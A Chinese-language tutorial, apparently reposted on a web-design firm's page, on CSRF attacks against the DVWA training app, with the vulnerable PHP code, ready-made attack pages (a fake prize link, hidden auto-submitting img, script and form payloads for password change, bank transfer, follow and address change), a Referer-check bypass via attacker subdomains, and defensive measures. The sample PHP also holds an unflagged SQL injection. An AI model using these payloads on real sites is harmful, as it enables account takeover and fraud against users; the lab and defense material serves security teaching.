大同市网站建设_网站建设公司_跨域_seo优化
2026/1/15 4:39:48 网站建设 项目流程

漏洞原理

CSRF工作流程

1. 用户登录网站A,获得Cookie 2. 用户访问恶意网站B(未退出A) 3. 网站B构造请求发送到网站A 4. 浏览器自动携带Cookie 5. 网站A认为是合法请求并执行

Low级别攻击

功能分析

页面功能:修改密码 请求方式:GET URL: http://127.0.0.1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change

后端代码

<?phpif(isset($_GET['password_new'])){$pass_new=$_GET['password_new'];$pass_conf=$_GET['password_conf'];if($pass_new==$pass_conf){// 修改密码(无任何验证!)$query="UPDATE users SET password = MD5('$pass_new') WHERE user = 'admin'";mysqli_query($conn,$query);}}?>

漏洞点

  • 使用GET请求修改密码
  • 无Token验证
  • 无二次确认
  • 无当前密码验证

攻击实施

恶意页面代码

<!DOCTYPEhtml><html><head><title>您已中奖!</title></head><body><h1>恭喜您!</h1><p><b><astyle="background-color:red;padding:10px;color:white;"href="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">点击领取奖品</a></b></p></body></html>

攻击流程

1. 管理员登录DVWA(127.0.0.1) 2. 在同一浏览器打开攻击者网页 3. 点击"点击领取奖品"链接 4. 密码被修改为"hacked" 5. 管理员下次登录失败

自动化攻击

<!-- 用户打开页面就自动触发 --><imgsrc="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change"style="display:none"><!-- 或使用JavaScript --><script>document.location='http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change';</script>

实际危害场景

金融系统攻击

<!-- 转账请求 --><imgsrc="http://bank.com/transfer?to=attacker&amount=10000">

社交网络攻击

<!-- 关注攻击者 --><imgsrc="http://social.com/follow?user=attacker"><!-- 发布广告内容 --><formaction="http://social.com/post"method="POST"><inputname="content"value="广告内容"></form><script>document.forms[0].submit();</script>

电商平台攻击

<!-- 修改收货地址 --><formaction="http://shop.com/address"method="POST"><inputname="address"value="攻击者地址"></form>

Medium级别绕过

防护代码

if(stripos($_SERVER['HTTP_REFERER'],$_SERVER['SERVER_NAME'])!==false){// 检查Referer头}

绕过方法

<!-- 在攻击者域名中包含目标域名 -->攻击者域名: 127.0.0.1.attacker.com 或创建子域名: 127-0-0-1.attacker.com

CSRF完整防护方案

1. Token验证(最重要)

// 生成Tokensession_start();$_SESSION['csrf_token']=bin2hex(random_bytes(32));// HTML表单<input type="hidden"name="csrf_token"value="<?php echo$_SESSION['csrf_token']; ?>">// 验证Tokenif($_POST['csrf_token']!==$_SESSION['csrf_token']){die('CSRF Token验证失败');}

2. SameSite Cookie

setcookie('session',$value,['samesite'=>'Strict',// 或'Lax''httponly'=>true,'secure'=>true]);

3. 验证Referer

$referer=$_SERVER['HTTP_REFERER']??'';if(strpos($referer,'https://yourdomain.com')!==0){die('非法请求来源');}

4. 二次确认

// 敏感操作要求输入当前密码if($_POST['current_password']!==$user_password){die('当前密码错误');}

5. 验证码

// 敏感操作添加验证码if(!verify_captcha($_POST['captcha'])){die('验证码错误');}

职业安全建议

网络安全职业现状

行业特点

  • 相比其他行业,安全岗位裁员较少
  • 外企可能存在合同陷阱(6个月试用期)
  • 技术能力是最好的保障

风险警示

入侵公司系统 → 被安全团队溯源 → 立即辞退 → 法律责任

保命技能

运维工程师必备

  • Linux/Windows Server管理
  • 服务器架构设计
  • 应急响应能力
  • DOS攻击防护
  • 提权技术理解

开发工程师现状

  • 普遍缺乏安全意识
  • 99.9%不学习安全知识
  • 成为最大的安全隐患

建议

  • 技术能力强的开发者学习安全知识
  • 找红队专家审核关键代码
  • 定期进行安全培训

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询